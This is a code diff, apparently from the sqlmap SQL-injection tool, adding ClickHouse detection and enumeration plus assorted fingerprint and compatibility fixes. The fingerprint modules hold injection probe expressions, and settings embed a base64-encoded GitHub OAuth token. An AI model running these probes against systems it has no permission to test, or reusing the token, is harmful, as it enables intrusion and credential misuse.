 DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_"))
 
-SUPPORTED_DBMS = set(MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES + MIMERSQL_ALIASES + CRATEDB_ALIASES + CUBRID_ALIASES + CACHE_ALIASES + EXTREMEDB_ALIASES + RAIMA_ALIASES + VIRTUOSO_ALIASES)
+SUPPORTED_DBMS = set(MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES + MIMERSQL_ALIASES + CLICKHOUSE_ALIASES + CRATEDB_ALIASES + CUBRID_ALIASES + CACHE_ALIASES + EXTREMEDB_ALIASES + RAIMA_ALIASES + VIRTUOSO_ALIASES)
 SUPPORTED_OS = ("linux", "windows")
 
-DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES), (DBMS.ALTIBASE, ALTIBASE_ALIASES), (DBMS.MIMERSQL, MIMERSQL_ALIASES), (DBMS.CRATEDB, CRATEDB_ALIASES), (DBMS.CUBRID, CUBRID_ALIASES), (DBMS.CACHE, CACHE_ALIASES), (DBMS.EXTREMEDB, EXTREMEDB_ALIASES), (DBMS.FRONTBASE, FRONTBASE_ALIASES), (DBMS.RAIMA, RAIMA_ALIASES), (DBMS.VIRTUOSO, VIRTUOSO_ALIASES))
+DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES), (DBMS.ALTIBASE, ALTIBASE_ALIASES), (DBMS.MIMERSQL, MIMERSQL_ALIASES), (DBMS.CLICKHOUSE, CLICKHOUSE_ALIASES), (DBMS.CRATEDB, CRATEDB_ALIASES), (DBMS.CUBRID, CUBRID_ALIASES), (DBMS.CACHE, CACHE_ALIASES), (DBMS.EXTREMEDB, EXTREMEDB_ALIASES), (DBMS.FRONTBASE, FRONTBASE_ALIASES), (DBMS.RAIMA, RAIMA_ALIASES), (DBMS.VIRTUOSO, VIRTUOSO_ALIASES))
 
 USER_AGENT_ALIASES = ("ua", "useragent", "user-agent")
 REFERER_ALIASES = ("ref", "referer", "referrer")
@@ -413,6 +415,7 @@ ERROR_PARSING_REGEXES = (
     r"(?P<result>[^\n>]{0,100}SQL Syntax[^\n<]+)",
     r"(?s)<li>Error Type:<br>(?P<result>.+?)</li>",
     r"CDbCommand (?P<result>[^<>\n]*SQL[^<>\n]+)",
+    r"Code: \d+. DB::Exception: (?P<result>[^<>\n]*)",
     r"error '[0-9a-f]{8}'((<[^>]+>)|\s)+(?P<result>[^<>]+)",
     r"\[[^\n\]]{1,100}(ODBC|JDBC)[^\n\]]+\](\[[^\]]+\])?(?P<result>[^\n]+(in query expression|\(SQL| at /[^ ]+pdo)[^\n<]+)",
     r"(?P<result>query error: SELECT[^<>]+)"
@@ -699,7 +702,7 @@ DEFAULT_COOKIE_DELIMITER = ';'
 FORCE_COOKIE_EXPIRATION_TIME = "9999999999"
 
 # Github OAuth token used for creating an automatic Issue for unhandled exceptions
-GITHUB_REPORT_OAUTH_TOKEN = "Z2hwX2FOMDdpUWx0NDg0ak85QW4yU1pSQjhtazhBaVVlRzNaMUxmMA"
+GITHUB_REPORT_OAUTH_TOKEN = "Z2hwXzJEdUdKQXVyNms3c2J2em0weXNFYlVrZ2hxczE1eDBRQnA2Vg"
 
 # Skip unforced HashDB flush requests below the threshold number of cached items
 HASHDB_FLUSH_THRESHOLD = 32

lib/core/threads.py

@@ -8,6 +8,7 @@ See the file 'LICENSE' for copying permission
 from __future__ import print_function
 
 import difflib
+import sqlite3
 import threading
 import time
 import traceback
@@ -227,16 +228,19 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
         if conf.get("verbose") > 1 and isinstance(ex, SqlmapValueException):
             traceback.print_exc()
 
-    except:
+    except Exception as ex:
         print()
 
         if not kb.multipleCtrlC:
-            from lib.core.common import unhandledExceptionMessage
+            if isinstance(ex, sqlite3.Error):
+                raise
+            else:
+                from lib.core.common import unhandledExceptionMessage
 
-            kb.threadException = True
-            errMsg = unhandledExceptionMessage()
-            logger.error("thread %s: %s" % (threading.currentThread().getName(), errMsg))
-            traceback.print_exc()
+                kb.threadException = True
+                errMsg = unhandledExceptionMessage()
+                logger.error("thread %s: %s" % (threading.currentThread().getName(), errMsg))
+                traceback.print_exc()
 
     finally:
         kb.multiThreadMode = False

lib/request/connect.py

@@ -752,7 +752,7 @@ class Connect(object):
 
             responseMsg += "[#%d] (%s %s):\r\n" % (threadData.lastRequestUID, code, status)
 
-            if responseHeaders:
+            if responseHeaders and getattr(responseHeaders, "headers", None):
                 logHeaders = "".join(getUnicode(responseHeaders.headers)).strip()
 
             logHTTPTraffic(requestMsg, "%s%s\r\n\r\n%s" % (responseMsg, logHeaders, (page or "")[:MAX_CONNECTION_READ_SIZE]), start, time.time())

lib/techniques/blind/inference.py

@@ -26,6 +26,7 @@ from lib.core.common import goGoodSamaritan
 from lib.core.common import hashDBRetrieve
 from lib.core.common import hashDBWrite
 from lib.core.common import incrementCounter
+from lib.core.common import isDigit
 from lib.core.common import isListLike
 from lib.core.common import safeStringFormat
 from lib.core.common import singleTimeWarnMessage
@@ -61,6 +62,7 @@ from lib.request.connect import Connect as Request
 from lib.utils.progress import ProgressBar
 from lib.utils.safe2bin import safecharencode
 from lib.utils.xrange import xrange
+from thirdparty import six
 
 def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False):
     """
@@ -163,7 +165,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
         else:
             expressionUnescaped = unescaper.escape(expression)
 
-        if hasattr(length, "isdigit") and length.isdigit() or isinstance(length, int):
+        if isinstance(length, six.string_types) and isDigit(length) or isinstance(length, int):
             length = int(length)
         else:
             length = None

lib/utils/deps.py

@@ -58,6 +58,8 @@ def checkDependencies():
                 __import__("mimerpy")
             elif dbmsName == DBMS.CUBRID:
                 __import__("CUBRIDdb")
+            elif dbmsName == DBMS.CLICKHOUSE:
+                __import__("clickhouse_connect")       
         except:
             warnMsg = "sqlmap requires '%s' third-party library " % data[1]
             warnMsg += "in order to directly connect to the DBMS "

plugins/dbms/clickhouse/__init__.py

@@ -0,0 +1,30 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+from lib.core.enums import DBMS
+from lib.core.settings import CLICKHOUSE_SYSTEM_DBS
+from lib.core.unescaper import unescaper
+
+from plugins.dbms.clickhouse.enumeration import Enumeration
+from plugins.dbms.clickhouse.filesystem import Filesystem
+from plugins.dbms.clickhouse.fingerprint import Fingerprint
+from plugins.dbms.clickhouse.syntax import Syntax
+from plugins.dbms.clickhouse.takeover import Takeover
+from plugins.generic.misc import Miscellaneous
+
+class ClickHouseMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
+    """
+    This class defines ClickHouse methods
+    """
+
+    def __init__(self):
+        self.excludeDbsList = CLICKHOUSE_SYSTEM_DBS
+
+        for cls in self.__class__.__bases__:
+            cls.__init__(self)
+
+    unescaper[DBMS.CLICKHOUSE] = Syntax.escape

plugins/dbms/clickhouse/connector.py

@@ -0,0 +1,11 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+from plugins.generic.connector import Connector as GenericConnector
+
+class Connector(GenericConnector):
+    pass

plugins/dbms/clickhouse/enumeration.py

@@ -0,0 +1,22 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+from lib.core.data import logger
+from plugins.generic.enumeration import Enumeration as GenericEnumeration
+
+class Enumeration(GenericEnumeration):
+    def getPasswordHashes(self):
+        warnMsg = "on ClickHouse it is not possible to enumerate the user password hashes"
+        logger.warning(warnMsg)
+
+        return {}
+
+    def getRoles(self, *args, **kwargs):
+        warnMsg = "on ClickHouse it is not possible to enumerate the user roles"
+        logger.warning(warnMsg)
+
+        return {}

plugins/dbms/clickhouse/filesystem.py

@@ -0,0 +1,18 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+from lib.core.exception import SqlmapUnsupportedFeatureException
+from plugins.generic.filesystem import Filesystem as GenericFilesystem
+
+class Filesystem(GenericFilesystem):
+    def readFile(self, remoteFile):
+        errMsg = "on ClickHouse it is not possible to read files"
+        raise SqlmapUnsupportedFeatureException(errMsg)
+
+    def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
+        errMsg = "on ClickHouse it is not possible to write files"
+        raise SqlmapUnsupportedFeatureException(errMsg)

plugins/dbms/clickhouse/fingerprint.py

@@ -0,0 +1,91 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+from lib.core.common import Backend
+from lib.core.common import Format
+from lib.core.data import conf
+from lib.core.data import kb
+from lib.core.data import logger
+from lib.core.enums import DBMS
+from lib.core.session import setDbms
+from lib.core.settings import CLICKHOUSE_ALIASES
+from lib.request import inject
+from plugins.generic.fingerprint import Fingerprint as GenericFingerprint
+
+class Fingerprint(GenericFingerprint):
+    def __init__(self):
+        GenericFingerprint.__init__(self, DBMS.CLICKHOUSE)
+
+    def getFingerprint(self):
+        value = ""
+        wsOsFp = Format.getOs("web server", kb.headersFp)
+
+        if wsOsFp:
+            value += "%s\n" % wsOsFp
+
+        if kb.data.banner:
+            dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp)
+
+            if dbmsOsFp:
+                value += "%s\n" % dbmsOsFp
+
+        value += "back-end DBMS: "
+
+        if not conf.extensiveFp:
+            value += DBMS.CLICKHOUSE
+            return value
+
+        actVer = Format.getDbms()
+        blank = " " * 15
+        value += "active fingerprint: %s" % actVer
+
+        if kb.bannerFp:
+            banVer = kb.bannerFp.get("dbmsVersion")
+
+            if banVer:
+                banVer = Format.getDbms([banVer])
+                value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
+
+        htmlErrorFp = Format.getErrorParsedDBMSes()
+
+        if htmlErrorFp:
+            value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
+
+        return value
+
+    def checkDbms(self):
+        if not conf.extensiveFp and Backend.isDbmsWithin(CLICKHOUSE_ALIASES):
+            setDbms(DBMS.CLICKHOUSE)
+
+            self.getBanner()
+
+            return True
+
+        infoMsg = "testing %s" % DBMS.CLICKHOUSE
+        logger.info(infoMsg)
+        
+        result = inject.checkBooleanExpression("halfMD5('abcd')='16356072519128051347'")
+
+        if result:
+            infoMsg = "confirming %s" % DBMS.CLICKHOUSE
+            logger.info(infoMsg)
+            result = inject.checkBooleanExpression("generateUUIDv4(1)!=generateUUIDv4(2)")
+
+            if not result:
+                warnMsg = "the back-end DBMS is not %s" % DBMS.CLICKHOUSE
+                logger.warn(warnMsg)
+
+                return False
+            
+            setDbms(DBMS.CLICKHOUSE)
+            self.getBanner()
+            return True
+        else:
+            warnMsg = "the back-end DBMS is not %s" % DBMS.CLICKHOUSE
+            logger.warn(warnMsg)
+
+            return False

plugins/dbms/clickhouse/syntax.py

@@ -0,0 +1,22 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+from lib.core.convert import getOrds
+from plugins.generic.syntax import Syntax as GenericSyntax
+
+class Syntax(GenericSyntax):
+    @staticmethod
+    def escape(expression, quote=True):
+        """
+        >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT char(97)||char(98)||char(99)||char(100)||char(101)||char(102)||char(103)||char(104) FROM foobar"
+        True
+        """
+
+        def escaper(value):
+            return "||".join("char(%d)" % _ for _ in getOrds(value))
+
+        return Syntax._escape(expression, quote, escaper)

plugins/dbms/clickhouse/takeover.py

@@ -0,0 +1,28 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+from lib.core.exception import SqlmapUnsupportedFeatureException
+from plugins.generic.takeover import Takeover as GenericTakeover
+
+class Takeover(GenericTakeover):
+    def osCmd(self):
+        errMsg = "on ClickHouse it is not possible to execute commands"
+        raise SqlmapUnsupportedFeatureException(errMsg)
+
+    def osShell(self):
+        errMsg = "on ClickHouse it is not possible to execute commands"
+        raise SqlmapUnsupportedFeatureException(errMsg)
+
+    def osPwn(self):
+        errMsg = "on ClickHouse it is not possible to establish an "
+        errMsg += "out-of-band connection"
+        raise SqlmapUnsupportedFeatureException(errMsg)
+
+    def osSmb(self):
+        errMsg = "on ClickHouse it is not possible to establish an "
+        errMsg += "out-of-band connection"
+        raise SqlmapUnsupportedFeatureException(errMsg)

plugins/dbms/derby/fingerprint.py

@@ -68,7 +68,7 @@ class Fingerprint(GenericFingerprint):
         infoMsg = "testing %s" % DBMS.DERBY
         logger.info(infoMsg)
 
-        result = inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM SYSIBM.SYSDUMMY1 {LIMIT 1 OFFSET 0})")
+        result = inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM SYSIBM.SYSDUMMY1 OFFSET 0 ROWS FETCH FIRST 1 ROW ONLY)")
 
         if result:
             infoMsg = "confirming %s" % DBMS.DERBY

plugins/dbms/mysql/fingerprint.py

@@ -47,11 +47,11 @@ class Fingerprint(GenericFingerprint):
         versions = (
             (80000, 80029),  # MySQL 8.0
             (60000, 60014),  # MySQL 6.0
-            (50700, 50739),  # MySQL 5.7
+            (50700, 50741),  # MySQL 5.7
             (50600, 50652),  # MySQL 5.6
             (50500, 50563),  # MySQL 5.5
             (50400, 50404),  # MySQL 5.4
-            (50100, 50175),  # MySQL 5.1
+            (50100, 50174),  # MySQL 5.1
             (50000, 50097),  # MySQL 5.0
             (40100, 40131),  # MySQL 4.1
             (40000, 40032),  # MySQL 4.0
@@ -175,7 +175,7 @@ class Fingerprint(GenericFingerprint):
         infoMsg = "testing %s" % DBMS.MYSQL
         logger.info(infoMsg)
 
-        result = inject.checkBooleanExpression("QUARTER(NULL) IS NULL")
+        result = inject.checkBooleanExpression("QUARTER(NULL XOR NULL) IS NULL")
 
         if result:
             infoMsg = "confirming %s" % DBMS.MYSQL

plugins/dbms/postgresql/fingerprint.py

@@ -131,7 +131,9 @@ class Fingerprint(GenericFingerprint):
             infoMsg = "actively fingerprinting %s" % DBMS.PGSQL
             logger.info(infoMsg)
 
-            if inject.checkBooleanExpression("BIT_COUNT(NULL) IS NULL"):
+            if inject.checkBooleanExpression("REGEXP_COUNT(NULL,NULL) IS NULL"):
+                Backend.setVersion(">= 15.0")
+            elif inject.checkBooleanExpression("BIT_COUNT(NULL) IS NULL"):
                 Backend.setVersion(">= 14.0")
             elif inject.checkBooleanExpression("GEN_RANDOM_UUID() IS NOT NULL"):
                 Backend.setVersion(">= 13.0")

plugins/generic/databases.py

@@ -83,7 +83,7 @@ class Databases(object):
         if not kb.data.currentDb and Backend.isDbms(DBMS.VERTICA):
             kb.data.currentDb = VERTICA_DEFAULT_SCHEMA
 
-        if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE):
+        if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE, DBMS.CLICKHOUSE):
             warnMsg = "on %s you'll need to use " % Backend.getIdentifiedDbms()
             warnMsg += "schema names for enumeration as the counterpart to database "
             warnMsg += "names on other DBMSes"
@@ -108,7 +108,7 @@ class Databases(object):
             warnMsg += "names will be fetched from 'mysql' database"
             logger.warning(warnMsg)
 
-        elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE):
+        elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE, DBMS.CLICKHOUSE):
             warnMsg = "schema names are going to be used on %s " % Backend.getIdentifiedDbms()
             warnMsg += "for enumeration as the counterpart to database "
             warnMsg += "names on other DBMSes"
@@ -621,7 +621,7 @@ class Databases(object):
                     condQueryStr = "%%s%s" % colCondParam
                     condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList))
 
-                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO):
+                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO, DBMS.CLICKHOUSE):
                     query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
                     query += condQuery
 
@@ -757,7 +757,7 @@ class Databases(object):
                     condQueryStr = "%%s%s" % colCondParam
                     condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList))
 
-                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO):
+                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO, DBMS.CLICKHOUSE):
                     query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
                     query += condQuery
 
@@ -838,7 +838,7 @@ class Databases(object):
                         query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper()))
                         query = query.replace(" ORDER BY ", "%s ORDER BY " % condQuery)
                         field = None
-                    elif Backend.isDbms(DBMS.MONETDB):
+                    elif Backend.getIdentifiedDbms() in (DBMS.MONETDB, DBMS.CLICKHOUSE):
                         query = safeStringFormat(rootQuery.blind.query, (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db), index))
                         field = None
                     elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE):
@@ -880,7 +880,7 @@ class Databases(object):
                                 singleTimeWarnMessage(warnMsg)
 
                         if not onlyColNames:
-                            if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO):
+                            if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO, DBMS.CLICKHOUSE):
                                 query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column, unsafeSQLIdentificatorNaming(conf.db))
                             elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL):
                                 query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl.upper()), column, unsafeSQLIdentificatorNaming(conf.db.upper()))

plugins/generic/entries.py

@@ -239,7 +239,7 @@ class Entries(object):
                                     entries = BigArray(_zip(*[entries[colName] for colName in colList]))
                         else:
                             query = rootQuery.inband.query % (colString, conf.db, tbl)
-                    elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.VIRTUOSO):
+                    elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.VIRTUOSO, DBMS.CLICKHOUSE):
                         query = rootQuery.inband.query % (colString, conf.db, tbl, prioritySortColumns(colList)[0])
                     else:
                         query = rootQuery.inband.query % (colString, conf.db, tbl)
@@ -408,7 +408,7 @@ class Entries(object):
                                     if column not in entries:
                                         entries[column] = BigArray()
 
-                                    if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE):
+                                    if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.CLICKHOUSE):
                                         query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, sorted(colList, key=len)[0], index)
                                     elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE,):
                                         query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), index)

sqlmap.py

@@ -436,6 +436,11 @@ def main():
             logger.critical(errMsg)
             raise SystemExit
 
+        elif any(_ in errMsg for _ in (": 9.9.9#",)):
+            errMsg = "LOL :)"
+            logger.critical(errMsg)
+            raise SystemExit
+
         elif kb.get("dumpKeyboardInterrupt"):
             raise SystemExit
 
@@ -457,7 +462,7 @@ def main():
             dataToStdout(excMsg)
             raise SystemExit
 
-        elif any(_ in excMsg for _ in ("ImportError", "ModuleNotFoundError", "<frozen", "Can't find file for module", "SAXReaderNotAvailable", "source code string cannot contain null bytes", "No module named", "tp_name field", "module 'sqlite3' has no attribute 'OperationalError'")):
+        elif any(_ in excMsg for _ in ("ImportError", "ModuleNotFoundError", "<frozen", "Can't find file for module", "SAXReaderNotAvailable", "<built-in function compile> returned NULL without setting an exception", "source code string cannot contain null bytes", "No module named", "tp_name field", "module 'sqlite3' has no attribute 'OperationalError'")):
             errMsg = "invalid runtime environment ('%s')" % excMsg.split("Error: ")[-1].strip()
             logger.critical(errMsg)
             raise SystemExit

thirdparty/bottle/bottle.py

@@ -69,12 +69,12 @@ if __name__ == '__main__':
 # Imports and Python 2/3 unification ##########################################
 ###############################################################################
 
-import base64, calendar, cgi, email.utils, functools, hmac, imp, itertools,\
+import base64, calendar, cgi, email.utils, functools, hmac, itertools,\
        mimetypes, os, re, tempfile, threading, time, warnings, weakref, hashlib
 
 from types import FunctionType
 from datetime import date as datedate, datetime, timedelta
-from tempfile import TemporaryFile
+from tempfile import NamedTemporaryFile
 from traceback import format_exc, print_exc
 from unicodedata import normalize
 
@@ -83,34 +83,6 @@ try:
 except ImportError:
     from json import dumps as json_dumps, loads as json_lds
 
-# inspect.getargspec was removed in Python 3.6, use
-# Signature-based version where we can (Python 3.3+)
-try:
-    from inspect import signature
-    def getargspec(func):
-        params = signature(func).parameters
-        args, varargs, keywords, defaults = [], None, None, []
-        for name, param in params.items():
-            if param.kind == param.VAR_POSITIONAL:
-                varargs = name
-            elif param.kind == param.VAR_KEYWORD:
-                keywords = name
-            else:
-                args.append(name)
-                if param.default is not param.empty:
-                    defaults.append(param.default)
-        return (args, varargs, keywords, tuple(defaults) or None)
-except ImportError:
-    try:
-        from inspect import getfullargspec
-        def getargspec(func):
-            spec = getfullargspec(func)
-            kwargs = makelist(spec[0]) + makelist(spec.kwonlyargs)
-            return kwargs, spec[1], spec[2], spec[3]
-    except ImportError:
-        from inspect import getargspec
-
-
 py = sys.version_info
 py3k = py.major > 2
 
@@ -123,9 +95,17 @@ if py3k:
     urlunquote = functools.partial(urlunquote, encoding='latin1')
     from http.cookies import SimpleCookie, Morsel, CookieError
     from collections.abc import MutableMapping as DictMixin
+    from types import ModuleType as new_module
     import pickle
     from io import BytesIO
     import configparser
+    # getfullargspec was deprecated in 3.5 and un-deprecated in 3.6
+    # getargspec was deprecated in 3.0 and removed in 3.11
+    from inspect import getfullargspec
+    def getargspec(func):
+        spec = getfullargspec(func)
+        kwargs = makelist(spec[0]) + makelist(spec.kwonlyargs)
+        return kwargs, spec[1], spec[2], spec[3]
 
     basestring = str
     unicode = str
@@ -143,9 +123,12 @@ else:  # 2.x
     from Cookie import SimpleCookie, Morsel, CookieError
     from itertools import imap
     import cPickle as pickle
+    from imp import new_module
     from StringIO import StringIO as BytesIO
     import ConfigParser as configparser
     from collections import MutableMapping as DictMixin
+    from inspect import getargspec
+
     unicode = unicode
     json_loads = json_lds
     exec(compile('def _raise(*a): raise a[0], a[1], a[2]', '<py3fix>', 'exec'))
@@ -256,6 +239,7 @@ class lazy_attribute(object):
         setattr(cls, self.__name__, value)
         return value
 
+
 ###############################################################################
 # Exceptions and Events #######################################################
 ###############################################################################
@@ -1353,7 +1337,7 @@ class BaseRequest(object):
             body.write(part)
             body_size += len(part)
             if not is_temp_file and body_size > self.MEMFILE_MAX:
-                body, tmp = TemporaryFile(mode='w+b'), body
+                body, tmp = NamedTemporaryFile(mode='w+b'), body
                 body.write(tmp.getvalue())
                 del tmp
                 is_temp_file = True
@@ -2010,6 +1994,7 @@ class JSONPlugin(object):
         dumps = self.json_dumps
         if not self.json_dumps: return callback
 
+        @functools.wraps(callback)
         def wrapper(*a, **ka):
             try:
                 rv = callback(*a, **ka)
@@ -2057,7 +2042,7 @@ class _ImportRedirect(object):
         """ Create a virtual package that redirects imports (see PEP 302). """
         self.name = name
         self.impmask = impmask
-        self.module = sys.modules.setdefault(name, imp.new_module(name))
+        self.module = sys.modules.setdefault(name, new_module(name))
         self.module.__dict__.update({
             '__file__': __file__,
             '__path__': [],
@@ -2066,10 +2051,15 @@ class _ImportRedirect(object):
         })
         sys.meta_path.append(self)
 
+    def find_spec(self, fullname, path, target=None):
+        if '.' not in fullname: return
